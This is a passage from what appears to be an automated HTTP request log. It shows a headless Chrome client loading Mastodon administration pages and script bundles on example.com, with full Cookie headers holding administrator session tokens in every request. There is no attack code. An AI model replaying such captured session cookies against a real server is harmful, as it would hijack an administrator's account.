_mastodon_session=6IJBff2x%2FMbXNP3QSv2znCqYuHfmV1SLFQfqw6UZ3KAZoWnGEUiLHoCKs54GeaZM%2Fse1Q%2BOBKF9ML6XrxYswD3pKSvILNMkYiJ3EG%2FTnZLLRWZJSleK9Tr1hIf6QPuhholWydhTCMtrvNoFWDRBkRe1GLNPsdJhivPf%2B9H%2ByoBonMuEuELOvHo42KevScyBCRWanSrKc6Bq%2FWfFwj1qON7QQI9gZ%2FbtKljREFSOK5LR3gpusVt4a5QnUXSY4dOzfmAzor5IUNSzEXZKK0LYJXbLxoE6qzMZkyokQz%2BOZhiug69Xq3ce1fP%2B9tsXAL8pPbxuPZNvc6qiPE0vrwK63m4drvdkVP%2FJCy%2BqpC8nEA7GPzdjgVjChhU88zmVOOXbQ9Fa6EXuCxFMQ--6zvxtk%2B6R2APVs8y--DWd1GN0OBkmP1KtWXm3www%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/esm-DrOrXu-Y.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/follow_recommendations", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MzMuMTI2WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--284c632524d78e801ba62bd16223d3259e127ec7; _mastodon_session=vuomX8ZGGtHfGqeIGWv7g4jvRuO4t%2FH4jUVwuGyGCGd7CDHQbIlkTcNr%2B1xJEHr2sbqhfPEKKqdEUDTnPE0p%2B45W9jvAH4Sz2QKjmHxuaYgBTOJYg2pfQfy14C22%2Bs5fvq8qCKXHSKk%2FNI4GokYB3ixwk4xstDdPq6EetSTHA8vmyX%2FHaTEPjA0T2bNVaj5jO5SnjYlUa1W6SRA%2Fwd9q%2FX24PpO87n3BlXBMJu3gFgFrkEsO4HtNQIdVZGVAFiX7DH9v%2Bvj9YiNd%2Fn%2FjKiDsKzXPGesij0b2B6gzYTHEujuOUUTDqmCuIIamQlMAYRlrha3bgb0kK69QyD%2BvStwU44Ycqf1yDzYUcwYjaY9dYX7Nq5rGV9QwRQd1feyS0rCoJ3QjvbqssmjV--8mr2L1y9RD9joeAT--URA9e2uebQuMLiQ6cFRp0g%3D%3D"], "body": ""}
{"method": "GET", "target": "/admin/settings/branding", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MzMuMTI2WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--284c632524d78e801ba62bd16223d3259e127ec7; _mastodon_session=vuomX8ZGGtHfGqeIGWv7g4jvRuO4t%2FH4jUVwuGyGCGd7CDHQbIlkTcNr%2B1xJEHr2sbqhfPEKKqdEUDTnPE0p%2B45W9jvAH4Sz2QKjmHxuaYgBTOJYg2pfQfy14C22%2Bs5fvq8qCKXHSKk%2FNI4GokYB3ixwk4xstDdPq6EetSTHA8vmyX%2FHaTEPjA0T2bNVaj5jO5SnjYlUa1W6SRA%2Fwd9q%2FX24PpO87n3BlXBMJu3gFgFrkEsO4HtNQIdVZGVAFiX7DH9v%2Bvj9YiNd%2Fn%2FjKiDsKzXPGesij0b2B6gzYTHEujuOUUTDqmCuIIamQlMAYRlrha3bgb0kK69QyD%2BvStwU44Ycqf1yDzYUcwYjaY9dYX7Nq5rGV9QwRQd1feyS0rCoJ3QjvbqssmjV--8mr2L1y9RD9joeAT--URA9e2uebQuMLiQ6cFRp0g%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/mode-BXhrwYK6.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/settings/branding", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MzYuMTg4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--9220fe50abfaa4c306d2aa2e9e034fb50bb9f432; _mastodon_session=t%2F4hgjOPdOAtu6F8xiTl14l%2FJSr76DTwhRNrlaQuUZnkI0alRcDm3qVuUtUMAyGTp%2F7QWk8LdcVU6jdXPtA3DxfRwH18GOIl3Wm8%2FlCZZQoGrTH%2BeeyfS60yLJJWzaDffVVKcQsjuoVozayrYIrUNGxh9cyx%2FCMazyJgn37fiUtTB0C1qWodehVBBMlucX2t9ndSJGDY9i8NxccJZtnlzJw06arpWbs77NGEwxsb4%2F2bwe56wiWEvuDCa6vNg0tlLjgbUdmJ5oHezrLlET0SdK0BfDUGV0jV4kzCxz3%2F8nL1SJeTjjIDYwSngBGQATHH9C1MwNW6JEsPNni%2FLOr1gBRMBSptT6zcS8RO8%2B3Xyf3M2jh3CpsAetvUTR7NBiKLPudlogpat%2FtJ--rBsC6h%2Fj%2FS4otufO--cMLDjKqMLE9%2Fe%2BcKSgbHsw%3D%3D"], "body": ""}
{"method": "GET", "target": "/admin/settings/about", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MzYuMTg4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--9220fe50abfaa4c306d2aa2e9e034fb50bb9f432; _mastodon_session=t%2F4hgjOPdOAtu6F8xiTl14l%2FJSr76DTwhRNrlaQuUZnkI0alRcDm3qVuUtUMAyGTp%2F7QWk8LdcVU6jdXPtA3DxfRwH18GOIl3Wm8%2FlCZZQoGrTH%2BeeyfS60yLJJWzaDffVVKcQsjuoVozayrYIrUNGxh9cyx%2FCMazyJgn37fiUtTB0C1qWodehVBBMlucX2t9ndSJGDY9i8NxccJZtnlzJw06arpWbs77NGEwxsb4%2F2bwe56wiWEvuDCa6vNg0tlLjgbUdmJ5oHezrLlET0SdK0BfDUGV0jV4kzCxz3%2F8nL1SJeTjjIDYwSngBGQATHH9C1MwNW6JEsPNni%2FLOr1gBRMBSptT6zcS8RO8%2B3Xyf3M2jh3CpsAetvUTR7NBiKLPudlogpat%2FtJ--rBsC6h%2Fj%2FS4otufO--cMLDjKqMLE9%2Fe%2BcKSgbHsw%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/emojis-BYdy4VJS.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/settings/about", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MzkuMTgwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--4c011955b47238357621778a1c0e8c80b52ff55e; _mastodon_session=FJW4bQQECmtYQ%2FRON0iG78XJgXf6%2Fiz0UlmJiloA82VptJel3Rdja3fxsrp4cOmxb7sDkVhdSJLcs8ZYR7mURo2eBgX3nGIW2y6iKLfzCB%2BqCcDXGwVm8r8jCty2geiKlukvP8VJyRYEr8364NXTvfSuJiTBXBVGh9A86ZCiMS%2B2Hs1g0Vdyu33mog721KzqoBLd11wmWecKiOEmVxmeq9ucFWLTogr5kbi5Ls2G9TNqy5P7L8X%2BPm2AwXfGEqrK6pcqaAffR1bBcTqpn58xVrjoCPUBumQ%2Bu5iQR8rTaHl4XWrwRdVXQNNEyn%2F%2BWMrZZo6dhi8nBOoKdP9qM9qtF4D4%2F6jois769QPLjuuMd2FJB%2B8m9PvVWZYl46UVvAiAraGvkN51g2Mu--B2JgMKnl2%2BaGOWE%2B--MrWNFOUDaKkNx3%2FK4KO8gw%3D%3D"], "body": ""}
{"method": "GET", "target": "/admin/settings/registrations", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MzkuMTgwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--4c011955b47238357621778a1c0e8c80b52ff55e; _mastodon_session=FJW4bQQECmtYQ%2FRON0iG78XJgXf6%2Fiz0UlmJiloA82VptJel3Rdja3fxsrp4cOmxb7sDkVhdSJLcs8ZYR7mURo2eBgX3nGIW2y6iKLfzCB%2BqCcDXGwVm8r8jCty2geiKlukvP8VJyRYEr8364NXTvfSuJiTBXBVGh9A86ZCiMS%2B2Hs1g0Vdyu33mog721KzqoBLd11wmWecKiOEmVxmeq9ucFWLTogr5kbi5Ls2G9TNqy5P7L8X%2BPm2AwXfGEqrK6pcqaAffR1bBcTqpn58xVrjoCPUBumQ%2Bu5iQR8rTaHl4XWrwRdVXQNNEyn%2F%2BWMrZZo6dhi8nBOoKdP9qM9qtF4D4%2F6jois769QPLjuuMd2FJB%2B8m9PvVWZYl46UVvAiAraGvkN51g2Mu--B2JgMKnl2%2BaGOWE%2B--MrWNFOUDaKkNx3%2FK4KO8gw%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/push_notifications-C0ir4q-Q.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/settings/registrations", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6NDIuMTkxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b91b5e12f13b3d68f80b28f3c73ef275cd95a182; _mastodon_session=5DSuCHGu0UQ9v0pjooV2%2BsCJRJ77ODBg4qoGDyx1UbespweUiRMhMQpE6hyDEgXcvuHhMrTyKSF9n17EPlsivJOh1dcasfgyXC9CZqJql%2BokU90Lh99wjlvYtwuuphFzV5feireHROmj0OU10acANYRrDL%2BjY4Mdxk%2Fv72%2BYlJHOENH7QCYfB38dobmrZpTLftZcvVt3EWTuzVX653eSZPMGYKZ3FpKOgW990agSqXGtYbMtfjQ9FQUn9woDAlgwLGsbTeEAIXu2PWCcgu3pvvh003qYkbvqbcLfEHTkFsl996JUqRl9Nln8TpARpCCAuaBY2uBnuztfnSxGM%2BlGmbXtixxw%2B4D52jThyxu2IJnYx1kvB7rtjRXeDId4d4BLmx7aTvy8FC0E--MLfark95SAh84Tqa--NQV0DE0W%2B5LohZU9zMuqEA%3D%3D"], "body": ""}
{"method": "GET", "target": "/admin/settings/content_retention", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6NDIuMTkxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b91b5e12f13b3d68f80b28f3c73ef275cd95a182; _mastodon_session=5DSuCHGu0UQ9v0pjooV2%2BsCJRJ77ODBg4qoGDyx1UbespweUiRMhMQpE6hyDEgXcvuHhMrTyKSF9n17EPlsivJOh1dcasfgyXC9CZqJql%2BokU90Lh99wjlvYtwuuphFzV5feireHROmj0OU10acANYRrDL%2BjY4Mdxk%2Fv72%2BYlJHOENH7QCYfB38dobmrZpTLftZcvVt3EWTuzVX653eSZPMGYKZ3FpKOgW990agSqXGtYbMtfjQ9FQUn9woDAlgwLGsbTeEAIXu2PWCcgu3pvvh003qYkbvqbcLfEHTkFsl996JUqRl9Nln8TpARpCCAuaBY2uBnuztfnSxGM%2BlGmbXtixxw%2B4D52jThyxu2IJnYx1kvB7rtjRXeDId4d4BLmx7aTvy8FC0E--MLfark95SAh84Tqa--NQV0DE0W%2B5LohZU9zMuqEA%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/throttle-DJD3CaHb.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/settings/content_retention", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6NDUuMTc5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--ea66ad57c7fc6a1963fb5f4ecaa0c77b97bc14f3; _mastodon_session=W%2BYRDAFlL3XcXBJ6d%2BvoxNjWTKambeyU1Yw5lNA%2Bq4PTMeo3chc42HECv5YzaxXw77Q7krxdmfIAhCGVMv%2FvAPsEP1nq2SzYTeRSoJ2RyRs8t7WA%2FPDEVKHo%2B9JWNnRp5Wn%2BVCWpfnp045LLeRg2tUfjXNpmGYN3AI55mKI1dTGsu21xsUcmSjeHyMhMlFGwhEq7IGqHAgExLGsItN1NEBdrHnZiWL1hohRX%2B2DGHJzbkrpnevPiGxs%2FCVwL77%2FJZHKHOwRFvyFJnS1tdmrVJroZfcQuiB%2BslOdrB9H%2FXmGSRtQd5ooF2q6V3yv%2BD%2FnMfAa3teKWdM%2Fv5jz2P9G3rwZKtv83EzLkRLHzvqIwNS9HzR103jjiz6O7gHcItL0ZJ0tVZA6u7f%2Fz--9RJDmsBidy5FZTvM--OGCb4tNNPvCCCYcUoLdidg%3D%3D"], "body": ""}
{"method": "GET", "target": "/admin/settings/discovery", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6NDUuMTc5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--ea66ad57c7fc6a1963fb5f4ecaa0c77b97bc14f3; _mastodon_session=W%2BYRDAFlL3XcXBJ6d%2BvoxNjWTKambeyU1Yw5lNA%2Bq4PTMeo3chc42HECv5YzaxXw77Q7krxdmfIAhCGVMv%2FvAPsEP1nq2SzYTeRSoJ2RyRs8t7WA%2FPDEVKHo%2B9JWNnRp5Wn%2BVCWpfnp045LLeRg2tUfjXNpmGYN3AI55mKI1dTGsu21xsUcmSjeHyMhMlFGwhEq7IGqHAgExLGsItN1NEBdrHnZiWL1hohRX%2B2DGHJzbkrpnevPiGxs%2FCVwL77%2FJZHKHOwRFvyFJnS1tdmrVJroZfcQuiB%2BslOdrB9H%2FXmGSRtQd5ooF2q6V3yv%2BD%2FnMfAa3teKWdM%2Fv5jz2P9G3rwZKtv83EzLkRLHzvqIwNS9HzR103jjiz6O7gHcItL0ZJ0tVZA6u7f%2Fz--9RJDmsBidy5FZTvM--OGCb4tNNPvCCCYcUoLdidg%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/axios-0On1V31i.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/settings/discovery", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6NDguMTgxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--d390a921649454c7b9b1431a575f9d74aedd6971; _mastodon_session=dUDcD37eOzq50lmYnza3bo2hnpa4%2BfHuFk7Or8uIjPCj3mJ%2FGUhj5%2BX9YAswUkaKijYtVkliQhBTwL66uC2xzdQRQIAxIqmIcrMNb1cljBvcRkwrmr%2FDrvjRR8viLdOOcSk4UOOtRdEdVokKK8YdOWgSo0kK4w14fOCXCj7uY14Q7HjwP1V8v86Ce3TbW%2FwClzqBTeoJgphpSLg0ajpHmkRS%2BjJI4e8xwvjZ3d3IvBqn%2FqsqWFAQL8j5pTIZnIVxXbiWJHaPK56i9WCwSQLOnI%2BMOMsTuD3qBr1ZYGw9ISMiXhvaWPvCvOhXYF%2BfgA2%2FmKd4HSLdn84banWuOwJ%2B4Fr1VHX5MV2u4lDJsw5s%2ByIA1jaRpixC2LUECUKu25KweVFH%2FFUcnBmv--XTgEY4dvioDMj1V%2F--5k1JSUDABaTZYGCZMhHc9w%3D%3D"], "body": ""}
{"method": "GET", "target": "/admin/settings/appearance", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6NDguMTgxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--d390a921649454c7b9b1431a575f9d74aedd6971; _mastodon_session=dUDcD37eOzq50lmYnza3bo2hnpa4%2BfHuFk7Or8uIjPCj3mJ%2FGUhj5%2BX9YAswUkaKijYtVkliQhBTwL66uC2xzdQRQIAxIqmIcrMNb1cljBvcRkwrmr%2FDrvjRR8viLdOOcSk4UOOtRdEdVokKK8YdOWgSo0kK4w14fOCXCj7uY14Q7HjwP1V8v86Ce3TbW%2FwClzqBTeoJgphpSLg0ajpHmkRS%2BjJI4e8xwvjZ3d3IvBqn%2FqsqWFAQL8j5pTIZnIVxXbiWJHaPK56i9WCwSQLOnI%2BMOMsTuD3qBr1ZYGw9ISMiXhvaWPvCvOhXYF%2BfgA2%2FmKd4HSLdn84banWuOwJ%2B4Fr1VHX5MV2u4lDJsw5s%2ByIA1jaRpixC2LUECUKu25KweVFH%2FFUcnBmv--XTgEY4dvioDMj1V%2F--5k1JSUDABaTZYGCZMhHc9w%3D%3D"], "body": ""}
{"method": "GET", "target": "/admin/domain_blocks/new?_domain=spam.example", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6NTEuMTcxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--652e324b3683ef5d0a7247fa62edc89f5f65cde9; _mastodon_session=i%2FWyOetWrF3Elz8DxqU2fGZ%2BdLjMAGugYAZsHuDH6gJhDYhH3dON6xjpSZmBlheevw4Up4zxf9KGvtvYzjeSbWisn4DpP8V4XOtKpG73wZH9MRkkCmAKB%2Fq2Q%2FN9h%2Be1Uf9UiJt2Y2MQZ1VzxMlmHMzRyEoBq6Fn%2FY0urtcTc5iVeRFDyHytWJCkntPhlQqPa8Dv7FpZGz4drJ%2BSKHNPG4DkI0A1OB%2BnB4wRC2CKG2X1kmoktqbcqJkpr%2BN3bWHBu5TDMKKa1jbSMBmhecRUMCX%2BE2k2iXy6eR98nIz%2B0AIHMqksg49JFRUP3Hkz%2BtUbmw86XWuFEMMM2taER7E%2BtCp34oOXjy0%2FINsM5nULIPpVVk3vCLN9MVhI9JJiw0mOy04%2BPG1FWfOj--Zw3RxKnvAhvCUPKu--nEyrCjhp9MTeoFb%2BpNYgjg%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/locale-D-1rLaCQ.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/domain_blocks/new?_domain=spam.example", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6NTQuMTI5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--f15a7254c8c6644bf5a61b4d7d6da1831627d811; 